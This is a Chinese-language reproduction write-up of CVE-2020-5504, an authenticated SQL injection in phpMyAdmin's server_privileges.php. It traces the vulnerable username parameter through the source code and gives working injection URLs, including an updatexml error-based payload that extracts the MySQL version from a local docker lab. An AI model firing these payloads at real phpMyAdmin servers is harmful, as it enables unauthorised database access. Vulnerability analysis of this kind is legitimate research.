（CVE-2020-5504）Phpmyadmin 后台sql注入漏洞¶
一、漏洞简介¶
在用户帐户页面中发现了一个SQL注入漏洞。创建对此页面的查询时，恶意用户可能会注入自定义SQL来代替其自己的用户名。攻击者必须具有有效的MySQL帐户才能访问服务器。
二、漏洞影响¶
Phpmyadmin \<= 5.00
Phpmyadmin \<= 4.94
三、复现过程¶
环境搭建¶
docker一把梭
docker run --name mysql5.6 -e MYSQL_ROOT_PASSWORD=123456 -d mysql:5.6
`docker run --name myadmin -d --link mysql5.7:db -p 8080:80 phpmyadmin/phpmyadmin:5.0
溯源和构造poc¶
下载前一个版本
5.0.0的代码压缩包后,
打开libraries/classes/Server/Privileges.php 来到对应行.
if (isset($_GET['validate_username'])) {
$sql_query = "SELECT * FROM `mysql`.`user` WHERE `User` = '"
. $_GET['username'] . "';";
// 省略 节省篇幅
}
很显然可以看出注入点是$_GET['username'],而需要设置$_GET['validate_username']
往上看, 这段代码位于public function getExtraDataForAjaxBehavior函数.
搜索上层调用来到/server_privileges.php 的这段代码
if ($response->isAjax()
&& empty($_REQUEST['ajax_page_request'])
&& ! isset($_GET['export'])
&& (! isset($_POST['submit_mult']) || $_POST['submit_mult'] != 'export')
&& ((! isset($_GET['initial']) || $_GET['initial'] === null
|| $_GET['initial'] === '')
|| (isset($_POST['delete']) && $_POST['delete'] === __('Go')))
&& ! isset($_GET['showall'])
&& ! isset($_GET['edit_user_group_dialog'])
) {
$extra_data = $serverPrivileges->getExtraDataForAjaxBehavior(
(isset($password) ? $password : ''),
(isset($sql_query) ? $sql_query : ''),
(isset($hostname) ? $hostname : ''),
(isset($username) ? $username : '')
);
if (! empty($message) && $message instanceof Message) {
$response->setRequestStatus($message->isSuccess());
$response->addJSON('message', $message);
$response->addJSON($extra_data);
exit;
}
}
可以发现if里大部分条件都可控, 除了$response->isAjax()
public function isAjax(): bool
{
return $this->_isAjax;
}
查看构造函数
/**
* Creates a new class instance
*/
private function __construct()
{
if (! defined('TESTSUITE')) {
$buffer = OutputBuffering::getInstance();
$buffer->start();
register_shutdown_function([$this, 'response']);
}
$this->_header = new Header();
$this->_HTML = '';
$this->_JSON = [];
$this->_footer = new Footer();
$this->_isSuccess = true;
$this->_isDisabled = false;
$this->setAjax(! empty($_REQUEST['ajax_request']));
$this->_CWD = getcwd();
}
可以看到这条件在于$_REQUEST['ajax_request']是否为空.
根据上面的几个条件 我们可以构造出如下最简单的poc
http://127.0.0.1:8080/server_privileges.php?ajax_request=true&validate_username=true&username=test%27%22
登陆后(这个操作需要权限) 尝试访问上面的url.返回如下
{"success":false,"error":"<div class=\"error\"><h1>Error<\/h1><p><strong>Static analysis:<\/strong><\/p><p>1 errors were found during analysis.<\/p><p><ol><li>Ending quote \" was expected. (near \"\" at position 53)<\/li><\/ol><\/p><p><strong>SQL query:<\/strong> <a href=\"#\" class=\"copyQueryBtn\" data-text=\"SELECT * FROM `mysql`.`user` WHERE `User` = 'test'"';\">Copy<\/a>\n<a href=\".\/url.php?url=https%3A%2F%2Fdev.mysql.com%2Fdoc%2Frefman%2F5.6%2Fen%2Fselect.html\" target=\"mysql_doc\"><img src=\"themes\/dot.gif\" title=\"Documentation\" alt=\"Documentation\" class=\"icon ic_b_help\"><\/a><a href=\"server_sql.php?sql_query=SELECT+%2A+FROM+%60mysql%60.%60user%60+WHERE+%60User%60+%3D+%27test%27%22%27%3B&show_query=1\"><span class=\"nowrap\"><img src=\"themes\/dot.gif\" title=\"Edit\" alt=\"Edit\" class=\"icon ic_b_edit\"> Edit<\/span><\/a> <\/p>\n<p>\nSELECT * FROM `mysql`.`user` WHERE `User` = 'test'"';\n<\/p>\n<p>\n <strong>MySQL said: <\/strong><a href=\".\/url.php?url=https%3A%2F%2Fdev.mysql.com%2Fdoc%2Frefman%2F5.6%2Fen%2Ferror-messages-server.html\" target=\"mysql_doc\"><img src=\"themes\/dot.gif\" title=\"Documentation\" alt=\"Documentation\" class=\"icon ic_b_help\"><\/a>\n<\/p>\n<code>#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"'' at line 1<\/code><br><\/div>"}
一个sql报错信息, 说明这个最短poc生效了
利用的话 反正都回显了 直接updatexml报错注入
http://127.0.0.1:8080/server_privileges.php?ajax_request=true&validate_username=true&username=test%27%20and%20(select%20updatexml(1,concat(0x7e,(SELECT%20@@version),0x7e),1))%20--%20
在返回最下面可以看到#1105 - XPATH syntax error: '~5.6.46~'
后言¶
这个洞要求一个可以登录的账号才能注入. ,
另外这个请求似乎也不需要csrf-token(不过似乎没什么用)